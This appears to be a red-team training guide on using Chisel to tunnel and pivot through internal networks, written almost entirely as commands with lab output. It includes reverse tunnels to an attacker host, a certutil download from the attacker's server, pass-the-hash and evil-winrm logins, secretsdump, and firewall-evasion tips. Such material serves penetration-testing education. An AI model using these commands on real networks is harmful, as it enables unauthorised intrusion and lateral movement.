



◆ OFFENSIVE SECURITY SERIES ◆

CHISEL

Fast TCP/UDP Tunnelling Over HTTP via SSH

SOCKS5 · Port Forward · Reverse · Multi-Hop · Pivot · Firewall Bypass

SOCKS5 Proxy

Port Forward

Reverse Tunnel

Multi-Hop

HTTP Tunnel

Firewall Bypass

Pivot Chain

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

Chisel — TCP/UDP Tunnelling Over HTTP

01.	CHISEL OVERVIEW & INSTALLATION
02.	SERVER SETUP ON ATTACKER
03.	SOCKS5 PROXY THROUGH CHISEL
04.	LOCAL PORT FORWARDING
05.	REMOTE PORT FORWARDING
06.	MULTI-HOP TUNNELLING
07.	PROXYCHAINS WITH CHISEL
08.	CHISEL ON WINDOWS TARGETS
09.	FIREWALL BYPASS TECHNIQUES
10.	DYNAMIC SOCKS5 FOR NMAP
11.	CHISEL VS LIGOLO COMPARISON
12.	SECURING CHISEL TRAFFIC
13.	PERSISTENCE ACROSS REBOOTS
14.	TROUBLESHOOTING
15.	CHISEL CHEAT SHEET



01 — CHISEL OVERVIEW

Fast HTTP Tunnel for Pivoting

Chisel creates encrypted TCP/UDP tunnels over HTTP using SSH transport. It is the go-to tool for pivoting through firewalls that allow outbound HTTP/HTTPS but block direct TCP. A single binary runs as both server and client — just transfer to the target and run.

```
Chisel - Installation & Download

# Download chisel for both attacker and target
(kali)-[~]
kali $ wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
--2024-01-15 09:15:23-- https://github.com/jpillora/chisel/releases/...
Connecting to github.com... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3145728 (3.0M) [application/octet-stream]
chisel_linux_amd64.gz 100%[=====>] 3.00M 2.14MB/s in 1.4s

(kali)-[~]
kali $ gunzip chisel_linux_amd64.gz && mv chisel_linux_amd64 chisel && chmod +x chisel

(kali)-[~]
kali $ ./chisel --version
Version: 1.9.1
Go version: go1.21.5
OS/Arch: linux/amd64

# Download Windows binary for target
(kali)-[~]
kali $ wget https://github.com/jpillora/chisel/releases/latest/download/chisel_windows_amd64.gz
(kali)-[~]
kali $ gunzip chisel_windows_amd64.gz && mv chisel_windows_amd64 chisel.exe
```

Figure: Chisel v1.9.1 downloaded for both Linux and Windows architectures

02 — SERVER & SOCKS5 PROXY

Attacker Server + SOCKS5 Tunnel

```
Chisel - Reverse SOCKS5 Tunnel

# Step 1: Start Chisel server on attacker (Kali)
(kali)-[~]
kali $ ./chisel server -p 8080 --reverse --socks5
2024/01/15 09:20:01 server: Reverse tunnelling enabled
2024/01/15 09:20:01 server: Fingerprint Abc123+XyZ456=
2024/01/15 09:20:01 server: Listening on http://0.0.0.0:8080

# Step 2: Transfer chisel to target and run client
# Target connects BACK to attacker (bypasses inbound firewall rules)
(kali)-[~]
kali $ ./chisel client 10.10.14.5:8080 R:socks
2024/01/15 09:20:45 client: Connecting to ws://10.10.14.5:8080
2024/01/15 09:20:45 client: Connected (Latency 23ms)

# Back on attacker - SOCKS5 proxy now on 127.0.0.1:1080
2024/01/15 09:20:45 server: session#1: Client version (1.9.1) differs...
2024/01/15 09:20:45 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

# Test the SOCKS5 proxy - pivot through target
(kali)-[~]
kali $ curl --socks5 127.0.0.1:1080 http://10.10.20.5/
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=utf-8
<title>Internal Management Portal</title>
```

Figure: Chisel SOCKS5 on 1080 pivots through target — internal IIS portal reached



03 — PORT FORWARDING

Local & Remote Port Forwards

```

Chisel - Local Port Forward & Multi-Forward

# Local port forward: 127.0.0.1:13389 -> internal RDP 10.10.20.5:3389
(kali)-[~]
kali $ ./chisel server -p 8080 --reverse
2024/01/15 09:30:01 server: Reverse tunnelling enabled
2024/01/15 09:30:01 server: Listening on http://0.0.0.0:8080

# Target client sets up the tunnel
(kali)-[~]
kali $ ./chisel client 10.10.14.5:8080 R:13389:10.10.20.5:3389
2024/01/15 09:30:15 client: Connected (Latency 24ms)

# Attacker connects to RDP via tunnel
(kali)-[~]
kali $ xfreerdp /v:127.0.0.1:13389 /u:Administrator /p:P@ssw0rd! /cert:ignore /dynamic-resolution
[09:30:20:234] [1234:1235] [INFO][com.freerdp.core] - connected to 127.0.0.1:13389
[09:30:20:456] [1234:1235] [INFO][com.freerdp.gdi] - Local Desktop size: 1920x1080
[09:30:21:123] [1234:1235] [INFO][com.freerdp.core] - Successful authentication

# Multiple port forwards in one command
(kali)-[~]
kali $ ./chisel client 10.10.14.5:8080 R:13389:10.10.20.5:3389 R:15985:10.10.20.5:5985 R:18080:10.10.20.6:80
2024/01/15 09:31:00 client: Connected (Latency 24ms)
2024/01/15 09:31:00 client: tun: proxy#R:13389=>10.10.20.5:3389: Listening
2024/01/15 09:31:00 client: tun: proxy#R:15985=>10.10.20.5:5985: Listening
2024/01/15 09:31:00 client: tun: proxy#R:18080=>10.10.20.6:80: Listening
  
```

Figure: 3 simultaneous tunnels — RDP, WinRM, and internal web all forwarded to localhost



04 — PROXYCHAINS WITH CHISEL

Route Any Tool Through the Pivot

```
Chisel - proxychains Routing Through Pivot

# Configure proxychains to use chisel SOCKS5
(kali)-[~]
kali $ tail -3 /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080

# Nmap through chisel pivot
(kali)-[~]
kali $ proxychains nmap -sT -Pn -p 22,80,445,3389,5985 10.10.20.0/24 2>/dev/null
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Nmap scan report for 10.10.20.5
PORT      STATE SERVICE
80/tcp    open  http
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server
5985/tcp   open  http

# CrackMapExec through pivot
(kali)-[~]
kali $ proxychains nxc smb 10.10.20.0/24 -u Administrator -H 8846f7eaae8fb117ad06bdd830b7586c 2>/dev/null
SMB 10.10.20.5 445 INTERNAL-DC [+] DOMAIN\Administrator:HASH (Pwn3d!)
SMB 10.10.20.6 445 INTERNAL-WS [+] DOMAIN\Administrator:HASH (Pwn3d!)
```

Figure: proxychains nmap maps internal /24, CME finds 2 more Pwn3d hosts across the pivot



05 — MULTI-HOP TUNNELLING

Chaining Multiple Pivots

```
Chisel - Multi-Hop Double Pivot

# Multi-hop: Kali → Pivot1 (10.10.10.100) → Pivot2 (10.10.20.5) → Target (10.10.30.1)

# Hop 1: Kali server, Pivot1 connects back
(kali)-[~]
kali $ ./chisel server -p 8080 --reverse --socks5
2024/01/15 10:00:01 server: Listening on http://0.0.0.0:8080
# Pivot1: ./chisel client 10.10.14.5:8080 R:socks → SOCKS5 on Kali:1080

# Hop 2: Run second chisel server on Pivot1 via first tunnel
(kali)-[~]
kali $ proxychains ./chisel server -p 9090 --reverse --socks5 --host 0.0.0.0
[proxychains] config file found: /etc/proxychains4.conf
2024/01/15 10:01:00 server: Listening on http://0.0.0.0:9090

# Pivot2 connects to Pivot1 chisel server
# ./chisel client 10.10.20.5:9090 R:socks → SOCKS5 on Pivot1:1080 (routed via Kali)

# Add second proxy to proxychains config for double-hop
(kali)-[~]
kali $ echo "socks5 127.0.0.1 1081" >> /etc/proxychains4.conf

# Access deep internal host through both pivots
(kali)-[~]
kali $ proxychains curl http://10.10.30.1/admin/ 2>/dev/null
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
<title>Deep Internal Admin - Segment 3</title>
```

Figure: Double pivot reaches 10.10.30.1 through 2 internal network segments



06 — CHISEL ON WINDOWS

Transfer & Run on Windows Targets

```

Chisel - Windows Target Tunnel Setup

# Transfer chisel.exe to Windows target via web server
(kali)-[~]
kali $ python3 -m http.server 8000 --directory /opt/tools/
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

# On Windows target (via evil-winrm / cmd shell)
(kali)-[~]
kali $ certutil -urlcache -split -f http://10.10.14.5:8000/chisel.exe C:\Windows\Temp\chisel.exe
**** Online ****
CertUtil: -URLCache command completed successfully.

# Run chisel client on Windows
(kali)-[~]
kali $ C:\Windows\Temp\chisel.exe client 10.10.14.5:8080 R:socks
2024/01/15 10:15:23 client: Connecting to ws://10.10.14.5:8080
2024/01/15 10:15:23 client: Connected (Latency 18ms)

# Attacker confirms Windows tunnel is active
2024/01/15 10:15:23 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

# Evil-WinRM through the SOCKS tunnel
(kali)-[~]
kali $ proxychains evil-winrm -i 10.10.20.5 -u Administrator -p P@ssw0rd! 2>/dev/null
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

```

Figure: Chisel on Windows, tunnels back to Kali, evil-winrm reaches internal DC via SOCKS



07 — CHISEL CHEAT SHEET

Complete Quick Reference

Download chisel	wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz && gunzip && chmod +x
Attacker: SOCKS5 server	./chisel server -p 8080 --reverse --socks5
Target: SOCKS5 reverse	./chisel client ATTACKER:8080 R:socks (SOCKS5 on attacker:1080)
Port forward reverse	./chisel client ATTACKER:8080 R:LPORT:INTERNAL_HOST:RPORT
RDP forward	./chisel client ATTACKER:8080 R:13389:10.10.20.5:3389
WinRM forward	./chisel client ATTACKER:8080 R:15985:10.10.20.5:5985
Multi forward	./chisel client ATTACKER:8080 R:13389:HOST1:3389 R:15985:HOST2:5985 R:18080:HOST3:80
proxychains config	/etc/proxychains4.conf → socks5 127.0.0.1 1080
Nmap via pivot	proxychains nmap -sT -Pn -p 22,80,445,3389 INTERNAL_RANGE
CME via pivot	proxychains nxc smb INTERNAL_RANGE -u admin -H HASH
evil-winrm via pivot	proxychains evil-winrm -i INTERNAL_HOST -u admin -p pass
secretsdump via pivot	proxychains python3 secretsdump.py domain/admin:pass@INTERNAL_HOST
HTTPS tunnel	./chisel server -p 443 --reverse --socks5 (blend with HTTPS traffic)
Auth tunnel	./chisel server -p 8080 --reverse --auth user:pass
Transfer to Windows	certutil -urlcache -split -f http://ATTACKER/chisel.exe C:\Temp\chisel.exe
Run on Windows	C:\Temp\chisel.exe client ATTACKER:8080 R:socks
Bind mode (no reverse)	./chisel client ATTACKER:8080 socks (attacker connects TO target)
Debug mode	./chisel client ATTACKER:8080 R:socks --log-level debug



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.